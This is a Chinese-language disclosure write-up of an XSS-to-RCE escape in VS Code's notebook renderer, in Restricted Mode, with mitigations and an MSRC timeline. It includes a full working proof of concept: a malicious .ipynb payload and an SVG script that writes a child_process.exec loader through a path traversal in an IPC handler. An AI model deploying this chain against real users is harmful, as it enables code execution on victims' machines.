Visual Studio Code 受限模式下的XSS到RCE逃逸漏洞剖析

本文详细分析了在Visual Studio Code(版本 <= 1.89.1)中发现的严重安全漏洞。攻击者可利用Jupyter Notebooks最小错误渲染模式中的XSS漏洞,即使在默认启用的受限模式下,也能通过IPC通信和文件协议绕过,最终实现远程代码执行。

漏洞详情

2024年4月,我发现了Visual Studio Code(VS Code <= 1.89.1)中的一个高危漏洞。该漏洞允许攻击者将跨站脚本漏洞(XSS)升级为完全的远程代码执行——即使在受限模式下也能实现。

VS Code的桌面版运行在Electron之上。其渲染器进程处于沙箱中,并通过Electron的IPC机制与主进程通信。

在为Jupyter Notebooks新引入的最小错误渲染模式中,存在一个XSS漏洞,导致可在笔记本渲染器的vscode-app WebView内执行任意JavaScript代码。如果用户启用了相关设置,打开一个特制的.ipynb文件即可触发此漏洞。或者,在VS Code中打开一个包含特制settings.json文件的文件夹,并在该文件夹内打开恶意的.ipynb文件,也能触发漏洞。值得注意的是,即使受限模式已启用(这是用户未明确信任工作区时的默认设置),该漏洞仍可被触发。

技术原理

本文将通过分析代码,逐步拆解该漏洞的工作原理,并解释其如何绕过VS Code的受限模式。

漏洞成因

Visual Studio Code的默认安装包含对Jupyter Notebooks的内置支持,并为某些常见输出类型提供了默认渲染器。这些渲染器的源代码位于extensions/notebook-renderers/src/index.ts。对于类型为application/vnd.code.notebook.error的单元格,渲染器会调用renderError函数,该函数继而调用位于stackTraceHelper.ts中的formatStackTrace函数。该函数又调用同一文件中的linkify,将指向特定单元格中行的引用转换为VS Code内部可点击的链接。如果启用了最小错误渲染模式,程序会将formatStackTrace的结果传递给createMinimalError,后者进行进一步处理并将结果附加到WebView的DOM中。

以下是相关代码的关键片段及其注释:

renderError:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function renderError(
    outputInfo: OutputItem,
    outputElement: HTMLElement,
    ctx: IRichRenderContext,
    trustHtml: boolean // 如果工作区不被信任,则为false
): IDisposable {
    // ...
    if (err.stack) {
        const minimalError = ctx.settings.minimalError && !!headerMessage?.length;
        outputElement.classList.add('traceback');
        const { formattedStack, errorLocation } = formatStackTrace(err.stack);
        // ...
        if (minimalError) {
            createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement);
        } else {
            // ...
        }
    } else {
        // ...
    }
    outputElement.classList.add('error');
    return disposableStore;
}

formatStackTrace 与 linkify:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } {
    let cleaned: string;
    // ...
    if (isIpythonStackTrace(cleaned)) {
        return linkifyStack(cleaned);
    }
}

const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/;

function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } {
    const lines = stack.split('\n');
    let fileOrCell: location | undefined;
    let locationLink = '';

    for (const i in lines) {
        const original = lines[i];
        if (fileRegex.test(original)) {
            // ...
        } else if (cellRegex.test(original)) {
            fileOrCell = {
                kind: 'cell',
                path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>'))
            };
            const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1]
            lines[i] = original.replace(cellRegex, `$<prefix>${link}`);
            locationLink = locationLink || link; // [2]
            continue;
        }
        // ...
    }

    const errorLocation = locationLink; // [3]
    return { formattedStack: lines.join('\n'), errorLocation };
}

createMinimalError:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) {
    const outputDiv = document.createElement('div');
    const headerSection = document.createElement('div');
    headerSection.classList.add('error-output-header');

    if (errorLocation && errorLocation.indexOf('<a') === 0) {
        headerSection.innerHTML = errorLocation; // [4]
    }
    const header = document.createElement('span');
    header.innerText = headerMessage;
    headerSection.appendChild(header);
    outputDiv.appendChild(headerSection);

    // ...
    outputElement.appendChild(outputDiv);
}

漏洞触发点

在代码注释[1]和[2]处,程序试图将诸如Cell In [1], line 6(可能包含ANSI转义序列)这样的序列,转换为形如<a href=vscode-notebook-cell:?execution_count=1&line=6>line 6</a>的HTML链接标签,并在[3]处将errorLocation变量设置为这个HTML。关键点在于,它使用的正则表达式末尾的通配符会“吞掉”行号之后的任何文本,但紧接在Cell In序列之前的任何文本则不受replace操作的影响。

因此,一个像LOLZTEXTHERECell In [1], line 6这样的输入(位于.ipynb文件中),将会产生无效的标记:LOLZTEXTHERE<a href=LOLZTEXTHEREvscode-notebook-cell:?execution_count=1&line=6>line 6</a>

createMinimalError函数中,如果errorLocation被设置并且以<a开头,它就会被认为是formatStackTrace函数生成的链接,从而直接被赋值给headerSection.innerHTML。无论工作区是否被信任,这个元素都会被添加到输出DOM中。然而,由于我们可以部分控制formatStackTrace生成的标记格式(包括字符串的开头),我们可以创建一个包含如下堆栈跟踪的笔记本文件:<a><img src onerror=console.log(123)>Cell In [1], line 6。这将导致errorLocation的值变成<a><img src onerror=console.log(123)><a href=<a><img[等]。由于它满足了以<a>开头的条件,所以会被插入到headerSection.innerHTML中并在WebView中渲染,从而导致JavaScript代码执行,并将123记录到控制台。

升级至RCE

XSS漏洞导致代码在vscode-app来源下的iframe内执行。该iframe位于主工作台窗口之下,而主工作台窗口属于vscode-file来源。主工作台窗口包含vscode.ipcRenderer对象,它使渲染器帧能够向主帧发送IPC消息,以执行文件系统操作、在PTY中创建和执行命令等。为了访问这个对象,我们需要找到一种在vscode-file来源下执行代码的方法。

vscode-file协议处理程序的代码位于src/vs/platform/protocol/electron-main/protocolMainService.ts,相关部分摘录如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


private handleResourceRequest(request: Electron.ProtocolRequest, callback: ProtocolCallback): void {
    const path = this.requestToNormalizedFilePath(request);

    let headers: Record<string, string> | undefined;
    if (this.environmentService.crossOriginIsolated) {
        if (basename(path) === 'workbench.html' || basename(path) === 'workbench.dev.html') {
            headers = COI.CoopAndCoep;
        } else {
            headers = COI.getHeadersFromQuery(request.url);
        }
    }

    // 首先通过validRoots检查
    if (this.validRoots.findSubstr(path)) {
        return callback({ path, headers });
    }

    // 然后通过validExtensions检查
    if (this.validExtensions.has(extname(path).toLowerCase())) {
        return callback({ path });
    }

    // 最后阻止加载资源
    this.logService.error(`${Schemas.vscodeFileResource}: Refused to load resource ${path} from ${Schemas.vscodeFileResource}: protocol (original URL: ${request.url})`);
    return callback({ error: -3 /* ABORTED */ });
}

为了通过vscode-file协议加载文件,它们必须要么位于VS Code应用安装目录内,要么具有一系列有效扩展名之一。.svg是一个有效扩展名,并且可以包含JavaScript代码,这些代码在<iframe>中加载时会执行。我们可以在恶意的代码仓库中包含一个SVG文件,并通过笔记本WebView中的许多DOM元素(PoC使用了<base>标签的href属性)获取对其存储目录的引用。

在SVG文件中,top.vscode.ipcRenderer可用于调用主进程的IPC处理程序。特别地,其中两个处理程序vscode:readNlsFilevscode:writeNlsFile被发现存在目录遍历漏洞,使攻击者能够读取和写入进程有权限的文件系统中的任何文件。PoC利用这一点,通过写入<vscode app root>/out/node_modules/graceful-fs.js(该文件默认不存在,但VS Code在加载窗口时会尝试导入它。我们可以通过立即发送vscode:reloadWindow IPC消息来触发此操作)来实现在Windows和macOS上执行代码。在Linux上,可以通过类似的方式写入.bashrc等文件来实现代码执行。

概念验证

1
2
3
4
5
not_sus_repo
├── .vscode
│   └── settings.json

└── icon.svg

.vscode/settings.json:

1
2
3
{
    "notebook.output.minimalErrorRendering": true
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": 1,
      "metadata": {},
      "outputs": [
        {
          "data": {
            "application/vnd.code.notebook.error": {
              "message": "error",
              "name": "name",
              "stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6"
            }
          },
          "metadata": {},
          "output_type": "display_data"
        }
      ],
      "source": [
        "def make_big_err(i):\n",
        "    if i <= 0:\n",
        "        raise Exception()\n",
        "    make_big_err(i-1)\n",
        "\n",
        "make_big_err(10)"
      ]
    }
  ]
}

icon.svg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
    <circle r="45" cx="50" cy="50" fill="red" />
    <script>
      async function exp() {
        const pathSep = top.vscode.process.platform === 'win32' ? '\\' : '/';
        const a = top.vscode.context.configuration().userDataDir;
        let b = top.vscode.context.configuration().appRoot;
        let payload = top.vscode.process.platform === 'win32' ? 'start calc.exe' : 'open -a Calculator.app';

        if (b[1] === ':') {
          b = b.slice(2);
        }

        const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`;
        await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`);
        top.vscode.ipcRenderer.send('vscode:reloadWindow');
      }

      exp();
    </script>
</svg>

缓解建议

  1. 修复createMinimalError函数:在将errorLocation赋值给headerSection.innerHTML之前,确保errorLocation仅包含具有指定URI格式的<a>标签。
  2. 实施内容安全策略:在笔记本渲染器WebView中使用内容安全策略,以确保在受限模式下仅运行受信任的脚本。

时间线

  • 2024-07-03 向厂商披露
  • 2024-07-03 首次联系厂商
  • 2024-07-10 向厂商分享了另外两个PoC
  • 2024-08-02 厂商回复:“此案例评估为低严重性,不符合MSRC的即时修复标准,因为如果不经过大量用户交互(例如,接受保存到攻击者控制位置的提示),RCE已无法实现。”
  • 2025-05-14 公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计